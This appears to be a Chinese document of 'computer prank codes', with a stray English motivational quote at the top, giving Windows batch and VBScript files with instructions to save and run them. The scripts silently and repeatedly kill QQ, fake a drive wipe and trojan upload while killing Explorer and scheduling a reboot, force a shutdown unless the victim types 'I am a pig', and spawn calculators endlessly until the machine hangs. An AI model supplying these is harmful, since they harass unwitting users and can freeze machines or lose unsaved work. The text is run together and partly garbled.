电脑整人小代码.doc
Four short words sum up what has lifted most successful individuals above the crowd: a little bit more.-author-date电脑整人小代码电脑整人小代码echo off if "%1" = "h" goto begin mshta vbscript:createobject("wscript.shell").run("%nx0 h",0)(window.close)&&exit :begin tasklist |find /i "QQ.exe" if %errorlevel%=0 (goto killit) else (goto next) :killit taskkill /f /im QQ.exe :next ping -n 3 127.t >nul 2>nul goto begin 分割线把以上代码保存成txt格式,然后把后缀改成bat,然后双击运行嘿嘿,那你的qq就不能运行了哟 color 4f echo off echo 删除计算机的C盘的所有文件. ping 127.0.0.1 /n 2 >nul echo 已删除完毕 echo. echo 删除计算机的D盘的所有文件. ping 127.0.0.1 /n 2 >nul echo 已删除完毕 echo. echo 删除计算机的E盘的所有文件. ping 127.0.0.1 /n 2 >nul echo 已删除完毕 color echo. echo. = echo. 啊哈哈,都删关,都杀关,哈哈 echo. = echo. 系统将马上崩溃. echo. 这是一个木马程序.您的所有资料已经传到 XXXX shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈,你活该!" ntsd -c q -pn explorer.exe ping 127.0.0.1 /n 20 >nul start explorer.exe shutdown -a_分割线_将分割线以上部分保存到txt格式,然后把后缀改成bat就可以运行了运行后你的磁盘会被格式化当然那是假的。用来吓人的。希望你玩的愉快。set WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true dim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"-新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了让对方说 我是猪set wsh=createobject("wscript.shell") do wsh.run "calc" loop新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了打开无数个计算器,直到死机 -